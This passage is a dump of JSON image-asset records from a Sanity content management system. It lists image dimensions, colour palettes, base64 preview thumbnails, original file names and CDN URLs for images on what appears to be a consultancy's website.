Q24+IM+uWvnN8WO1ZFhw9xop1hrwJOnvOeMQS8deRFw9XywPWq4CAk0Z33prz5+z/AfwA/lYaoIxdsPwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#485442","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#396584","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f6ec9c","foreground":"#000","population":1.64,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8c1d0","foreground":"#000","population":0.11,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6ec9c","foreground":"#000","population":1.64,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#66889e","foreground":"#fff","population":1.08,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a08c38","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"long_agent_memory_arch_3.png","path":"images/sczeoy4w/production/0e40a3f622b861d6987a4b2212f7dc45ae415765-1836x1358.png","sha1hash":"0e40a3f622b861d6987a4b2212f7dc45ae415765","size":214745,"uploadId":"K1XfrRyiX2mkNjQCqNLrtKlvvgKZ0SK8","url":"https://cdn.sanity.io/images/sczeoy4w/production/0e40a3f622b861d6987a4b2212f7dc45ae415765-1836x1358.png"} {"_createdAt":"2024-08-26T03:52:31Z","_id":"image-f3df5cb0f713dfaf779b1fa305b8a46777def143-1230x552-png","_rev":"m8xt6aEW5HgObqk4IKNL4C","_type":"sanity.imageAsset","_updatedAt":"2024-08-26T03:52:31Z","assetId":"f3df5cb0f713dfaf779b1fa305b8a46777def143","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MLS6VxosR%s=_4?aJCRjxCV{WAjXoej]WB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.2282608695652173,"height":552,"width":1230},"exif":{"PixelXDimension":1230,"PixelYDimension":552,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAJCAYAAAAywQxIAAAACXBIWXMAABYlAAAWJQFJUiTwAAABoUlEQVQokXWRb2/TMBCH9/0/CW8RezFpICRUtDdsXaF0rKzrRhvHNHbi/KtjO8mDEqp2IDjd6XfySY9+dz7r+56u7/DBY32D9ZbGN/g2MMyGGPTvvu+7F9Uf52dDU7iSh/yJmf7KNJnzWS94LrfYYKEf8iWwI7gcW6zZm/tRgzPj+xGYWM0nNeMy+sDFj/e8iybMs2+UvvoHsMXVAiM/ojcX5HJCU0f0XTgBa79nW8bc7ZZ8EQuWasXPOsG1biCc1jw49E2OUd9JxIwyWxFc8afDobz3pFmKiGNMbghty/8iBI9WCbGIqMoTbOAcgB3eO7JMI2OBMSnBO7qupe9ORx8/sOuprSOSO1bPW5I0x4X2OB+BwwqDdRXPiDfXqPiWQt9TFTF1VVJVFUVRUNc1eVnxIDImdxGXt09cLSUbXePb48odtopJxQT5eI5YnY+abN6S7haYTKGUQkqJ1pqdzrh+3PH6ZsOrqzVvplsWIqfxv080OnSNIddLVDxFiSla3mKSBftS4pzF2mZ0aa1l3zhEWjPfZtysFfNNijR7wsHhL3/2r8cT6zUvAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#39351d","foreground":"#fff","population":0.14,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#204460","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b6dbb8","foreground":"#000","population":1.91,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b6dbb8","foreground":"#000","population":1.91,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5e790","foreground":"#000","population":1.68,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5b829f","foreground":"#fff","population":0.39,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b4a55f","foreground":"#000","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"long_agent_memory_arch_1.png","path":"images/sczeoy4w/production/f3df5cb0f713dfaf779b1fa305b8a46777def143-1230x552.png","sha1hash":"f3df5cb0f713dfaf779b1fa305b8a46777def143","size":73659,"uploadId":"8BQLaD0074hesSA41QPjGs8fCzaSNsFB","url":"https://cdn.sanity.io/images/sczeoy4w/production/f3df5cb0f713dfaf779b1fa305b8a46777def143-1230x552.png"} {"_createdAt":"2024-08-26T03:52:33Z","_id":"image-b11c34aabce1d22872e5d97fc56a1fbc58f5e83f-1724x1114-png","_rev":"vxdiygNMKB9xDhiP9dpRv6","_type":"sanity.imageAsset","_updatedAt":"2024-08-26T03:52:33Z","assetId":"b11c34aabce1d22872e5d97fc56a1fbc58f5e83f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V9SsELxu=ixvaf}_WVEJa}a{xJofR%WVbEyCoexbjuoe","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5475763016157988,"height":1114,"width":1724},"exif":{"PixelXDimension":1724,"PixelYDimension":1114,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAABYlAAAWJQFJUiTwAAABeElEQVQ4jZWSi47jIAxF8/9/Om3TPAG/4K5sQqvujkazkY4wxlxsx5OIoBRGSoycFcyO9FUURBy47f5SCGdinElB3M/9LpGh1oapC1yIQdVg5tTA993n+26LOO9ziXu1Cz4WxnYQimfBDFFFrRWttf9C1SLb6TYXLFtBzgQiirL8ZQ/67ddag7cupYzpTAW5dCF3OiSeqUCrduxav8Gq9260QzFlyiCm2LiTlLDSioUWrLwGw954e/mcnbeIt+r960yFCljk1Tc2xsIL7nTHTHPYziorNtk+2GUDGaG2d8+nwhRlDkGpgkP2l8gue+wPPXDqca1nkDVH/I+CnuGTn7jRF250C74u+0H3YOY5HnNRqfLxtyf6W7ByBPulQRd64MlzPObnnqmXa9U+Bb/L0Puz8DMuu5ALek+7aPd7S5KmfwU5RsSHuTs8w0WWnhk/otyBl+3CQ3zXPUbnQ3CMyxhkaxalFCtBtoxs6Vo748wfHz8kBhwNfwCBCvhXmo8KeQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#222a76","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#313dab","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#aed5b0","foreground":"#000","population":0.96,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aed5b0","foreground":"#000","population":0.96,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#aaeca3","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#606d9c","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#545cec","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"long_agent_memory_kafka_topic_summaries.png","path":"images/sczeoy4w/production/b11c34aabce1d22872e5d97fc56a1fbc58f5e83f-1724x1114.png","sha1hash":"b11c34aabce1d22872e5d97fc56a1fbc58f5e83f","size":203800,"uploadId":"e9rTOB8WefZEITQB2957jiNzZTDXEZsK","url":"https://cdn.sanity.io/images/sczeoy4w/production/b11c34aabce1d22872e5d97fc56a1fbc58f5e83f-1724x1114.png"} {"_createdAt":"2024-08-26T04:02:26Z","_id":"image-eeac8e2dcd127e47d034584c9b17cc6f3b838c37-1200x628-png","_rev":"QJtWNkOOU8d8F4outYUt44","_type":"sanity.imageAsset","_updatedAt":"2024-08-26T04:02:26Z","assetId":"eeac8e2dcd127e47d034584c9b17cc6f3b838c37","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MB8N*cxRITt6M__4kBM{j]RkD%V[xaWEt5","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACdklEQVQokS2Pa1MSYRxH9xM0FbjcdhcQZBUbHZSsvNZEILYr667iUlo6ZaVm2NWCQjOsoEKcMu3yXU+zSy/OzPN/8Zz5HUGUF0mmHpAeK5Mee8rlqR2uXKsykdllPLPPpasOdUavNxjPtpjMHTGRO2JkqkFqtM7YjW9M5g7pv7hPMP4SwR8pMTJRJqu9JafX0Mw6xmITq9Rizj5EX2gzY7aZLR5TsH8xu/gbo/SHGesH1/ItsoWfZPQTBq40kNR3CL6wzch4mcxMhaxWQ58/wCx9Yc7+RqHYYnahTaH4Hev2KUapI1xY/ou98gfDPnVlqfE2scEGSvJzR5ge2+LGzQrThV0064BCsYFmNcgbTaaNr+Tn2mjzP9DmT9AXTl25ffcEwz5mNNMiNlBH6q2j9H9BEBWb1KVNcvpb8oU9svoeeeOAaeMTWf0zGa3J1XyTjH7IjHVM3jzmptVGs1pMTTfpHdojlKgQSuwi931EOOufR4ovoQ4+oHdwncTABr2pMsmh5ySHX9E39Bo1VSGZrjFwuc6FkQ8kh6skh9/QM1hFVqsE4m8I9lSR1H2EM6LJOZ+FJ1jEE7qFJ7SMR1rFq6whhtcRI1suvugW/u5nBGIv8EXLLoH4jrsslKgRiFcI9lQQzvvmkIMm0e5bKIlV/JFVPNIKHuk+XuURXeFNvMo6Xvmh+xYjZcTIE8TotrtMUt93hLEd/N0vELw+g5hs0qcu09O/Rih2z13oke/TpTgLH9MV3sCrPPx/O7Ky+zmYeOcKnVzndgqEsz4Tb8BElBYRlSW88p1OsrxG1/9kJ9eROvii2530+CtCag1J3SUQf42/+7nLP8tGcbiMkTe2AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3f4670","foreground":"#fff","population":1.26,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#142471","foreground":"#fff","population":11.7,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#142471","foreground":"#fff","population":11.7,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d6dbeb","foreground":"#000","population":9.09,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#797ec6","foreground":"#fff","population":0.4,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#687096","foreground":"#fff","population":1.87,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c2786","foreground":"#fff","population":8.05,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Cover (6).png","path":"images/sczeoy4w/production/eeac8e2dcd127e47d034584c9b17cc6f3b838c37-1200x628.png","sha1hash":"eeac8e2dcd127e47d034584c9b17cc6f3b838c37","size":200997,"uploadId":"GMipFkE5wxS6BLOl4tqliAp2qwZ2Fzi6","url":"https://cdn.sanity.io/images/sczeoy4w/production/eeac8e2dcd127e47d034584c9b17cc6f3b838c37-1200x628.png"} {"_createdAt":"2024-11-11T13:02:14Z","_id":"image-b3474d8cccc63c5a16f4355a144993546b6e973e-1200x630-jpg","_rev":"P2Xmr2lxSp4OgRBEwp9HLz","_type":"sanity.imageAsset","_updatedAt":"2024-11-11T13:02:14Z","assetId":"b3474d8cccc63c5a16f4355a144993546b6e973e","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBQce,1nE3=rslx[9~=AFiS*t8-nWAM_RP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAIEBQf/xAAfEAACAgIDAAMAAAAAAAAAAAABAgADBBESITEUMlH/xAAVAQEBAAAAAAAAAAAAAAAAAAABA//EABsRAQACAwEBAAAAAAAAAAAAAAEAAgMRFEFR/9oADAMBAAIRAxEAPwDeEpzq8q1qLgQ56DDYEnqjq6s6C23xtdARMYD5j9R7SRkvon6yua7UA9dRx0Fd+R2fgxC6A/N+QlfWTx9hHjp9YdFp/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#454c4c","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#814203","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7c7f86","foreground":"#fff","population":0.32,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#e3bed1","foreground":"#000","population":0.06,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fccc74","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7f86","foreground":"#fff","population":0.32,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f98b1b","foreground":"#000","population":0.02,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"sql-formatter_meta-preview.jpg","path":"images/sczeoy4w/production/b3474d8cccc63c5a16f4355a144993546b6e973e-1200x630.jpg","sha1hash":"b3474d8cccc63c5a16f4355a144993546b6e973e","size":50996,"uploadId":"Pk8RCnHp7etB7qn8Ou0X9CjALsnXajKU","url":"https://cdn.sanity.io/images/sczeoy4w/production/b3474d8cccc63c5a16f4355a144993546b6e973e-1200x630.jpg"} {"_createdAt":"2024-12-03T10:42:40Z","_id":"image-b8b7691fb0510e8f1b2f44ccf7f7237d2f3ec398-1453x319-png","_rev":"MBEnA07qAFzHqjXn9yf4xr","_type":"sanity.imageAsset","_updatedAt":"2024-12-03T10:42:40Z","assetId":"b8b7691fb0510e8f1b2f44ccf7f7237d2f3ec398","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DTB^|R;k}D]lwM9^OBE%JAbG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.554858934169279,"height":319,"width":1453},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAA7EAAAOxAGVKw4bAAABGUlEQVR4nFWOzUrDUBCFjzWan7qw3dyakkohEJraO7kkkoS2VkVi/MEfJEUFC7rwCeranQ+g4NaVG1cufQ/Fh9HqlZRsHPg4Z87AYfBrp6qMMl262bwEZgCUsiybBZCT79Os0H8jgZIcQJG303sRJl2SvZ2uDA6c506vsuq6Nd/3G0RUdxzHFEKYYRgy3/eNolgBoHOG8keCqhyh/pagyoAyAA0ya41lGt9NBtsXj0EsOOebRLQnhEg55/s5RLTebrct27ZVAAsGsNRnaL4fz9HXFdZeDtFpMDQNoIafS/NBnqw8TZL++D6Ktoho6HneuRDilHM+yr3nebuu69qMsfyLRU2DdbSM1ueZEn/fqBuv13oQOHAqGqw/Z7Y/ab/x1tMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#644b4c","foreground":"#fff","population":0.07,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5b1009","foreground":"#fff","population":0.85,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5b1009","foreground":"#fff","population":0.85,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b18c72","foreground":"#fff","population":0.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0dc8a","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c4a54","foreground":"#fff","population":0.09,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f26206","foreground":"#fff","population":0.5,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"IRORI - Aiven.png","path":"images/sczeoy4w/production/b8b7691fb0510e8f1b2f44ccf7f7237d2f3ec398-1453x319.png","sha1hash":"b8b7691fb0510e8f1b2f44ccf7f7237d2f3ec398","size":77521,"uploadId":"n9toLCBhICPnPmYIKk5aSgRSVQdmVlZ9","url":"https://cdn.sanity.io/images/sczeoy4w/production/b8b7691fb0510e8f1b2f44ccf7f7237d2f3ec398-1453x319.png"} {"_createdAt":"2024-01-24T16:06:34Z","_id":"image-77c192883fc247caeeffa6883dcae2f1b05e4e11-2000x1333-jpg","_rev":"PjhTiFLESFHgz5EjCAsQYC","_type":"sanity.imageAsset","_updatedAt":"2024-03-20T08:57:31Z","altText":null,"assetId":"77c192883fc247caeeffa6883dcae2f1b05e4e11","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VgK,,6cC9uENbc~CNYR-R*W=?GM{V@t7NGM{azjsofjs","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5003750937734435,"height":1333,"width":2000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYCBAUH/8QAJhAAAQMDAwIHAAAAAAAAAAAAAgEDBAAFBgcREkFRExUhIjFCYv/EABUBAQEAAAAAAAAAAAAAAAAAAAQC/8QAGxEAAgMAAwAAAAAAAAAAAAAAAQIAAxESEyH/2gAMAwEAAhEDEQA/AHbGL/bouUeTmQo64G+/67VUyrU+LZ72cZYiuQ2xLk4n2JO1LOPMQXn2rgcRFlkZbOKa7jWpd8MhzYJCrxiRCq8lHkvrRuK9hMTW7JWBsjYdVsfuUDx7hvBkc1FWTXp0WiuT5Hg0R+6GpyXUURQPaiJ8JRVLeuDYhmtBweif/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3e48","foreground":"#fff","population":3.78,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#744532","foreground":"#fff","population":5.46,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a4846d","foreground":"#fff","population":7.37,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acc6cf","foreground":"#000","population":0.32,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5bc7c","foreground":"#000","population":0.22,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a4846d","foreground":"#fff","population":7.37,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a86439","foreground":"#fff","population":3.13,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"team-discussion-presentation.jpg","path":"images/sczeoy4w/production/77c192883fc247caeeffa6883dcae2f1b05e4e11-2000x1333.jpg","sha1hash":"77c192883fc247caeeffa6883dcae2f1b05e4e11","size":192739,"title":null,"uploadId":"LaJdPe6kgiIMu0eHHSJyz5wYPSR8gUgJ","url":"https://cdn.sanity.io/images/sczeoy4w/production/77c192883fc247caeeffa6883dcae2f1b05e4e11-2000x1333.jpg"} {"_createdAt":"2024-12-03T11:12:22Z","_id":"image-750cd9fbe6e02347cc8c7130e4edd10c32cd1776-200x200-jpg","_rev":"TNes7vIDnP3RxKebb4HyIp","_type":"sanity.imageAsset","_updatedAt":"2024-12-03T11:12:22Z","assetId":"750cd9fbe6e02347cc8c7130e4edd10c32cd1776","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"erOpiMxu?^WVnN_3WBtQWVM{D*WBRPoft7%gt7n%axRjozRQn$ofNG","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":200,"width":200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQEBAQAAAAAAAAAAAAAAAAcIAwX/xAAkEAABBAICAQUBAQAAAAAAAAABAgMEBQARBhIHEyExQVFxsf/EABcBAAMBAAAAAAAAAAAAAAAAAAIDBAH/xAAbEQADAAMBAQAAAAAAAAAAAAAAARECAxIhMf/aAAwDAQACEQMRAD8A0dzGa9Bon3I2w6rSAofKd/eTSgtZlNzSujNT5UuJNJS6h876q1vY/MofNbKvj1LzEmawy+sabStQ2VfQ1kcr75PHOSMWXLAIsIKPp7V3JWfsD8xeXXShRrWL15X6aGGM8Or5XR2cJEqHZxVsr+D6gGMZCcxX5ItpyvIdo+uS4txmUenZWwnR9vbO7cqTza1Qu9kOOdAEpDZ6gD+YxlUXjArkKbV+L6IwkH1rFO/fSZGh/mMYwKzD/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#24283a","foreground":"#fff","population":4.69,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c243c","foreground":"#fff","population":5.19,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1c243c","foreground":"#fff","population":5.19,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccaba2","foreground":"#000","population":0.25,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4c3b4","foreground":"#000","population":0.11,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8c6461","foreground":"#fff","population":4.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b75864","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Gustav Norbäcker, Solution Architect at Irori.jpeg","path":"images/sczeoy4w/production/750cd9fbe6e02347cc8c7130e4edd10c32cd1776-200x200.jpg","sha1hash":"750cd9fbe6e02347cc8c7130e4edd10c32cd1776","size":7535,"uploadId":"gLH2T1Iwwv4Of4dqQkC99fInEq9RsZDt","url":"https://cdn.sanity.io/images/sczeoy4w/production/750cd9fbe6e02347cc8c7130e4edd10c32cd1776-200x200.jpg"} {"_createdAt":"2024-06-28T12:54:39Z","_id":"image-0bd9edddfc7930433789167d847bfead220a71f9-1659x1396-png","_rev":"p92WeIHLmx3eRj4zhorXpN","_type":"sanity.imageAsset","_updatedAt":"2024-06-28T12:54:39Z","assetId":"0bd9edddfc7930433789167d847bfead220a71f9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eAK-FHniy@tR001%tR.TRjMw00ay5sRj~p00V@^7t7aI00j[tmj[-n","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1883954154727794,"height":1396,"width":1659},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAAAsTAAALEwEAmpwYAAAFNElEQVQ4jS3UeUwUZwAF8I+22BiraRNJEA/EIxjxoIpAg2C79WjtEW0bxUoViGAsRVTAYjxAULxQo1gQMcVisYoXEah2KSDIIcfCLueeM7Nz7Vw7x+7OLsXK12D6/n755f31QHRc+tuBwfFLZy/cGb9oWfLeRWFJKUELdm4OnB8fmJBUCCCEoLi0Fhw7WQkmsyIi1S9w/o55cxYlbF28LDk1dOWevcGhuxID5m6PmRGw9T1QXHL//Q1f5KRGxWVoYzSZ+hjNIV3s+syqhOSzG1609b379Ek9ACANABAA0lOOgpxjZVM+3pi1KSo2417sp5l96zZm66PjDrSvik7LjYxNnwcam7vmFp6runzo8HVn+sFrcH/mL/BE/m/Y7TvaQzbE/kGzTgLQa/WD0OwHlpwB1Q/+mpZbcCvpQHbpSEZmCczIKoEZmSW+rCNl1fmFlSuADbGHGAYsJR2dg3Jjcw9sbtHBvn4Th6BUEcMqMRSjRloI19oRTI7BHZ5InHSu1hvMBzpfDpmet+hgU3MPbGs3jPfqjE/0BlME4DguxO12l0iSJNO0A7IsC10uN6e4PLcdrPeSCVdrGg18Q52Oaeizuupwh3pJktxFbrfHxHE8pCgKSpI8rqpqrSRJa96AqqqWuFwuZRITBAGqqsq7XOojkhl71mV0yaVaZOJCneX1n32Cz0p42yRZveXz+cyTXZIkoaIor8bGxv4HWS7E4/FMgrIgCBNOpwg9nsmF6mOK+0fbZXS5rz2zwTM1Rliv41/ZSF+3KKmVbrfHzHH8BEmSE6Iojns8nlpRFNcAB0UGKaIzR5Gl57Lo7JUlUacoipZhxeLBUa6uTUe7HjXb4B2teaLhJT7eN8S246TzoqIoDwWe62Vould0Cp2KJF4WGCoMYAM90wTzQIRIoIlOmswXHI7zTo7bV1vXvjP39N0HeYX3fYUXa+DpohqYV3gfHi+421r1R1OKwHJ7eZo6xxF4rkDhu53WoVj25bOZYHjXEj/1RvoMfkSvwSxoOWLG6h0ImrY/9ZRmaXjK9bWaLOLLb/KEr749yceuz+bCPkx9tC/l9DbKhmYjFvtTAiWuyZg5Si3aMV1MCp4CUAAALNoyzWkc/MRqwipNo+hz2mo7ePbw2YiVq/ekaj7PKduyLb9i6/b8Cs1nP99cujL5YF7meQ1uth41jqCtNitxQ8Gsa2B68FSfBvgD6SPgB3Mip6qGlhDaTmwmUHK7gOOrulu7F2gbDT80tRqvNL0wXW96YSptbDFeeartT+xo7g5lMHsUZsXjKTu90WfRB8Efg6eObwH+4PViACbKf5rhHeoIFWlHrMjysSpDLGRxMgynXBfMqMtkGHVS+mGBNNoUBCM95SwtRI0JTKjM8XGCg1vnxq3h/2pvBsLdM/0BBACMd9bMEmyWRDtCVNhRskJAbQm8aSQOxaRbQ2bJ19XvgB29FNSPCNCKyg0cin8nU0QKYacrEBt5j7UTp1RzfyQs2OQPcAiB16Kfydrx7+0IWW5HyXIOQ+NZizkaw+WrJkShDMOMt2+Q8o5YRAmxKw8ZjPzaSZJJOEbdRKxEFWUnT8g4Gg7rL70FeNkLVJb2Fxk2iKPZ5TzNLhdpahaOErPtpByP4NLloVG8emAYeWxB+DKMkPcROBMqM8wc3sEtZygmnKeZxQrLTIduBwD1EAKkuxP8frcJHDlXA7JPVYOmulYwZLS+Y0PJD0xmNESn00d39+jihoZNS2wIGTBqRqe01reBgqt1IO34PVD869+grXP4zXf+B5m6lEwCzxeDAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#32365a","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5f1f05","foreground":"#fff","population":0.19,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#637198","foreground":"#fff","population":1.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a5b3d0","foreground":"#000","population":0.41,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7cc4fc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#637198","foreground":"#fff","population":1.2,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c84d4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Semantic Product Search.png","path":"images/sczeoy4w/production/0bd9edddfc7930433789167d847bfead220a71f9-1659x1396.png","sha1hash":"0bd9edddfc7930433789167d847bfead220a71f9","size":59405,"uploadId":"0P4S407IQ7fwKJfa2ea2xfZg4U7GqV3p","url":"https://cdn.sanity.io/images/sczeoy4w/production/0bd9edddfc7930433789167d847bfead220a71f9-1659x1396.png"} 